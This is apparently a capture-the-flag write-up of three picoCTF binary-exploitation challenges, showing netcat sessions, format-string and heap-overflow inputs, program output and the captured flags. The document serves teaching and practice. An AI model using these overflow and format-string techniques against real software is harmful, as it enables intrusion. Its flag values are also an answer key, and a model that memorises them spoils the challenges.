picoCTF (Binary Exploitation) - Writeup
A writeup for picoGym’s binary exploitation challenges.
Binary Exploitation
format string 0
Flag: picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_74f6c0e7} Can you use your knowledge of format strings to make the customers happy?
Copy the string in the C file as input.
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$ nc mimas.picoctf.net 60328
Welcome to our newly-opened burger place Pico 'n Patty! Can you help the picky customers find their favorite burger?
Here comes the first customer Patrick who wants a giant bite.
Please choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe
Enter your recommendation: Gr%114d_Cheese
Gr 4202954_Cheese
Good job! Patrick is happy! Now can you serve the second customer?
Sponge Bob wants something outrageous that would break the shop (better be served quick before the shop owner kicks you out!)
Please choose from the following burgers: Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak
Enter your recommendation: Cla%sic_Che%s%steak
ClaCla%sic_Che%s%steakic_Che(null)
picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_74f6c0e7}
heap 0
Flag: picoCTF{my_first_heap_overflow_4fa6dd49}
Are overflows just a stack concern?
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$ nc tethys.picoctf.net 60421
Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x611168c192b0 -> pico
+-------------+----------------+
[*] 0x611168c192d0 -> bico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 2
Data for buffer: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 4
YOU WIN
picoCTF{my_first_heap_overflow_4fa6dd49}
heap 1
Flag: picoCTF{starting_to_get_the_hang_79ee3270}
Can you control your overflow?
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$ nc tethys.picoctf.net 56995
Welcome to heap1!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x57bf98ca92b0 -> pico
+-------------+----------------+
[*] 0x57bf98ca92d0 -> bico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 2
Data for buffer: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaapico
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 1
4Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x57bf98ca92b0 -> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaapico
+-------------+----------------+
[*] 0x57bf98ca92d0 -> pico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice:
YOU WIN
picoCTF{starting_to_get_the_hang_79ee3270}
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